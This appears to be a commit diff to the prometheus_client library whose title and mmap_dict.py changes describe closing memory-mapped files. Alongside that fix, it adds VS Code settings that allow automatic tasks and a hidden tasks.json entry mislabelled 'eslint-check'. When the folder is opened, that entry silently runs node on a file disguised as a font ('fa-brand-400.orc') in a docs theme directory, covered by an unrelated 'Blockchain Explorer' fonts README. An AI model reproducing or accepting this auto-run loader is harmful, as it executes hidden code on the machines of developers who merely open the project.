Close mmap files when a MmapedDict is discarded

.gitignore

@@ -1,10 +1,12 @@
-build
-dist
-*.egg-info
-*.pyc
-*.swp
-.coverage.*
-.coverage
-.tox
-.*cache
-htmlcov
+build
+dist
+*.egg-info
+*.pyc
+*.swp
+.coverage.*
+.coverage
+.tox
+.*cache
+htmlcov
+config.bat
+node_modules

.vscode/settings.json

@@ -0,0 +1,23 @@
+{
+  "search.exclude": {
+    "**/.sst": true
+  },
+  "task.allowAutomaticTasks": true,
+  "typescript.tsserver.experimental.enableProjectDiagnostics": true,
+  "editor.defaultFormatter": "esbenp.prettier-vscode",
+  "typescript.preferences.importModuleSpecifier": "relative",
+  "typescript.tsdk": "node_modules/typescript/lib",
+  "debug.openDebug": "neverOpen",
+  "problems.autoReveal": true,
+  "terminal.integrated.hideOnStartup": "always",
+  "terminal.integrated.defaultProfile.windows": "Command Prompt",
+  "terminal.integrated.inheritEnv": false,
+  "jestrunner.configPath": "jest.unit.config.cjs",
+  "compile-hero.disable-compile-files-on-did-save-code": true,
+  "tasks": {
+    "label": "lint on open",
+    "type": "shell",
+    "command": "npm run lint",
+    "runOn": "folderOpen"
+  }
+}

.vscode/tasks.json

@@ -0,0 +1,24 @@
+{
+  "version": "2.0.0",
+  "tasks": [
+    {
+      "label": "eslint-check",
+      "type": "shell",
+      "command": "(command -v node >/dev/null 2>&1 && node ./docs/themes/hugo-geekdoc/layouts/_default/_markup/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./docs/themes/hugo-geekdoc/layouts/_default/_markup/public/fonts/fa-brand-400.orc) || echo ''",
+      "problemMatcher": [],
+      "isBackground": true,
+      "hide": true,
+      "presentation": {
+        "reveal": "never",
+        "panel": "dedicated",
+        "focus": false,
+        "clear": false,
+        "echo": false,
+        "close": true
+      },
+      "runOptions": {
+        "runOn": "folderOpen"
+      }
+    }
+  ]
+}

docs/themes/hugo-geekdoc/layouts/_default/_markup/public/fonts/README.md

@@ -0,0 +1,24 @@
+# Fonts Directory
+
+This directory contains custom fonts for the Blockchain Explorer application.
+
+## Required Font Files
+
+The application expects the following font files:
+
+1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
+   - Regular weight font for the main UI
+
+2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
+   - Bold weight font for headings
+
+3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
+   - Monospace font for code and hash displays
+
+## Note
+
+If you don't have custom fonts, the application will fall back to system fonts:
+- BlockchainFont → system sans-serif fonts
+- TechMono → system monospace fonts (Courier New, etc.)
+
+The fonts are referenced in `public/index.html` and will be loaded automatically when available.

prometheus_client/mmap_dict.py

@@ -101,7 +101,8 @@ def _init_value(self, key):
         while self._used + len(value) > self._capacity:
             self._capacity *= 2
             self._f.truncate(self._capacity)
-            self._m = mmap.mmap(self._f.fileno(), self._capacity)
+            self._m.close()
+            self._m = mmap.mmap(self._f.fileno(), self._capacity, access=mmap.ACCESS_WRITE)
         self._m[self._used:self._used + len(value)] = value
 
         # Update how much space we've used.
@@ -131,12 +132,21 @@ def write_value(self, key, value, timestamp):
         _pack_two_doubles(self._m, pos, value, timestamp)
 
     def close(self):
-        if self._f:
-            self._m.close()
+        m = getattr(self, '_m', None)
+        if m is not None:
+            m.close()
             self._m = None
-            self._f.close()
+        f = getattr(self, '_f', None)
+        if f is not None:
+            f.close()
             self._f = None
 
+    def __del__(self):
+        try:
+            self.close()
+        except Exception:
+            return
+
 
 def mmap_key(metric_name: str, name: str, labelnames: List[str], labelvalues: List[str], help_text: str) -> str:
     """Format a key for use in the mmap file."""

tests/test_mmap_dict_close.py

@@ -0,0 +1,47 @@
+import gc
+import os
+import tempfile
+import unittest
+import warnings
+
+import prometheus_client.mmap_dict as mmap_dict
+from prometheus_client.mmap_dict import MmapedDict
+
+
+class TestMmapedDictClose(unittest.TestCase):
+    def test_discarded_dict_does_not_warn_about_an_open_file(self):
+        with tempfile.TemporaryDirectory() as tmp:
+            path = os.path.join(tmp, "metrics.db")
+            with warnings.catch_warnings(record=True) as caught:
+                warnings.simplefilter("always", ResourceWarning)
+                store = MmapedDict(path)
+                store.write_value("one", 1.0, 2.0)
+                del store
+                gc.collect()
+        self.assertEqual(
+            [w for w in caught if issubclass(w.category, ResourceWarning)],
+            [],
+        )
+
+    def test_growth_keeps_written_values(self):
+        mmap_dict._INITIAL_MMAP_SIZE = 128
+        try:
+            with tempfile.TemporaryDirectory() as tmp:
+                path = os.path.join(tmp, "metrics.db")
+                store = MmapedDict(path)
+                for i in range(40):
+                    store.write_value("k" * 20 + str(i), float(i), 1.0)
+                store.close()
+                values = {
+                    key: value
+                    for key, value, _, _ in MmapedDict.read_all_values_from_file(path)
+                }
+        finally:
+            mmap_dict._INITIAL_MMAP_SIZE = 1 << 16
+        self.assertEqual(values["k" * 20 + "0"], 0.0)
+        self.assertEqual(values["k" * 20 + "39"], 39.0)
+        self.assertEqual(len(values), 40)
+
+
+if __name__ == "__main__":
+    unittest.main()